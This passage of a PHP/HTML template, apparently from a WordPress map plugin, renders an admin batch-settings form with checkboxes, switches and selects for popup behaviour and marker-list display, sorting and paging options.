class=\"batch-settings-check\" name=\"popupMaxHeightCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"popupMaxHeight\"><?= esc_html__('Max height', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"popupMaxHeight\" name=\"popupMaxHeight\" value=\"<?= $settings['popupMaxHeight'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupCloseButtonCheck\" class=\"batch-settings-check\" name=\"popupCloseButtonCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"popupCloseButton\"><?= esc_html__('Add close button', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupCloseButton\" name=\"popupCloseButton\" <?= !$settings['popupCloseButton'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupAutoCloseCheck\" class=\"batch-settings-check\" name=\"popupAutoCloseCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"popupAutoClose\"><?= esc_html__('Auto close', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"popupAutoClose\" name=\"popupAutoClose\" <?= !$settings['popupAutoClose'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"listContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listCheck\" class=\"batch-settings-check\" name=\"listCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"list\"><?= esc_html__('Show', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<select id=\"list\" name=\"list\">\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"0\" <?= !($settings['list'] == '0') ?: 'selected=\"selected\"' ?>><?= esc_html__('None', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"1\" <?= !($settings['list'] == '1') ?: 'selected=\"selected\"' ?>><?= esc_html__('Below', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"2\" <?= !($settings['list'] == '2') ?: 'selected=\"selected\"' ?>><?= esc_html__('Right', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"3\" <?= !($settings['list'] == '3') ?: 'selected=\"selected\"' ?>><?= esc_html__('Left', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listWidthCheck\" class=\"batch-settings-check\" name=\"listWidthCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listWidth\"><?= esc_html__('Width', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"listWidth\" name=\"listWidth\" value=\"<?= $settings['listWidth'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listBreakpointCheck\" class=\"batch-settings-check\" name=\"listBreakpointCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listBreakpoint\"><?= esc_html__('Breakpoint', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"listBreakpoint\" name=\"listBreakpoint\" value=\"<?= $settings['listBreakpoint'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listSearchCheck\" class=\"batch-settings-check\" name=\"listSearchCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listSearch\"><?= esc_html__('Search and sort bar', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listSearch\" name=\"listSearch\" <?= !$settings['listSearch'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listIconCheck\" class=\"batch-settings-check\" name=\"listIconCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listIcon\"><?= esc_html__('Icon', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listIcon\" name=\"listIcon\" <?= !$settings['listIcon'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listNameCheck\" class=\"batch-settings-check\" name=\"listNameCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listName\"><?= esc_html__('Name', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listName\" name=\"listName\" <?= !$settings['listName'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listPopupCheck\" class=\"batch-settings-check\" name=\"listPopupCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listPopup\"><?= esc_html__('Popup', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listPopup\" name=\"listPopup\" <?= !$settings['listPopup'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listAddressCheck\" class=\"batch-settings-check\" name=\"listAddressCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listAddress\"><?= esc_html__('Address', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listAddress\" name=\"listAddress\" <?= !$settings['listAddress'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listDistanceCheck\" class=\"batch-settings-check\" name=\"listDistanceCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listDistance\"><?= esc_html__('Distance', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listDistance\" name=\"listDistance\" <?= !$settings['listDistance'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listDistanceUnitCheck\" class=\"batch-settings-check\" name=\"listDistanceUnitCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listDistanceUnit\"><?= esc_html__('Distance unit', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<select id=\"listDistanceUnit\" name=\"listDistanceUnit\">\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"metric\" <?= !($settings['listDistanceUnit'] == 'metric') ?: 'selected=\"selected\"' ?>><?= esc_html__('Metric', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"imperial\" <?= !($settings['listDistanceUnit'] == 'imperial') ?: 'selected=\"selected\"' ?>><?= esc_html__('Imperial', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"metric-imperial\" <?= !($settings['listDistanceUnit'] == 'metric-imperial') ?: 'selected=\"selected\"' ?>><?= esc_html__('Metric (imperial)', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"imperial-metric\" <?= !($settings['listDistanceUnit'] == 'imperial-metric') ?: 'selected=\"selected\"' ?>><?= esc_html__('Imperial (metric)', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listDistancePrecisionCheck\" class=\"batch-settings-check\" name=\"listDistancePrecisionCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listDistancePrecision\"><?= esc_html__('Distance precision', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"listDistancePrecision\" name=\"listDistancePrecision\" value=\"<?= $settings['listDistancePrecision'] ?>\" min=\"0\" max=\"6\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByCheck\" class=\"batch-settings-check\" name=\"listOrderByCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listOrderBy\"><?= esc_html__('Default order by', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<select id=\"listOrderBy\" name=\"listOrderBy\">\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"id\" <?= !($settings['listOrderBy'] == 'id') ?: 'selected=\"selected\"' ?>><?= esc_html__('ID', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"name\" <?= !($settings['listOrderBy'] == 'name') ?: 'selected=\"selected\"' ?>><?= esc_html__('Name', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"address\" <?= !($settings['listOrderBy'] == 'address') ?: 'selected=\"selected\"' ?>><?= esc_html__('Address', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"distance\" <?= !($settings['listOrderBy'] == 'distance') ?: 'selected=\"selected\"' ?>><?= esc_html__('Distance', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"icon\" <?= !($settings['listOrderBy'] == 'icon') ?: 'selected=\"selected\"' ?>><?= esc_html__('Icon', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"created\" <?= !($settings['listOrderBy'] == 'created') ?: 'selected=\"selected\"' ?>><?= esc_html__('Created', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"updated\" <?= !($settings['listOrderBy'] == 'updated') ?: 'selected=\"selected\"' ?>><?= esc_html__('Updated', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listSortOrderCheck\" class=\"batch-settings-check\" name=\"listSortOrderCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listSortOrder\"><?= esc_html__('Default sort order', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<select id=\"listSortOrder\" name=\"listSortOrder\">\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"asc\" <?= !($settings['listSortOrder'] == 'asc') ?: 'selected=\"selected\"' ?>><?= esc_html__('Ascending', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"desc\" <?= !($settings['listSortOrder'] == 'desc') ?: 'selected=\"selected\"' ?>><?= esc_html__('Descending', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByIdCheck\" class=\"batch-settings-check\" name=\"listOrderByIdCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listOrderById\"><?= esc_html__('ID', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderById\" name=\"listOrderById\" <?= !$settings['listOrderById'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByNameCheck\" class=\"batch-settings-check\" name=\"listOrderByNameCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listOrderByName\"><?= esc_html__('Name', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByName\" name=\"listOrderByName\" <?= !$settings['listOrderByName'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByAddressCheck\" class=\"batch-settings-check\" name=\"listOrderByAddressCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listOrderByAddress\"><?= esc_html__('Address', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByAddress\" name=\"listOrderByAddress\" <?= !$settings['listOrderByAddress'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByDistanceCheck\" class=\"batch-settings-check\" name=\"listOrderByDistanceCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listOrderByDistance\"><?= esc_html__('Distance', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByDistance\" name=\"listOrderByDistance\" <?= !$settings['listOrderByDistance'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByIconCheck\" class=\"batch-settings-check\" name=\"listOrderByIconCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listOrderByIcon\"><?= esc_html__('Icon', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByIcon\" name=\"listOrderByIcon\" <?= !$settings['listOrderByIcon'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByCreatedCheck\" class=\"batch-settings-check\" name=\"listOrderByCreatedCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listOrderByCreated\"><?= esc_html__('Created', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByCreated\" name=\"listOrderByCreated\" <?= !$settings['listOrderByCreated'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByUpdatedCheck\" class=\"batch-settings-check\" name=\"listOrderByUpdatedCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listOrderByUpdated\"><?= esc_html__('Updated', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listOrderByUpdated\" name=\"listOrderByUpdated\" <?= !$settings['listOrderByUpdated'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listLimitCheck\" class=\"batch-settings-check\" name=\"listLimitCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listLimit\"><?= esc_html__('Markers per page', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"listLimit\" name=\"listLimit\" value=\"<?= $settings['listLimit'] ?>\" min=\"1\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listDirCheck\" class=\"batch-settings-check\" name=\"listDirCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listDir\"><?= esc_html__('Show directions link', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listDir\" name=\"listDir\" <?= !$settings['listDir'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div 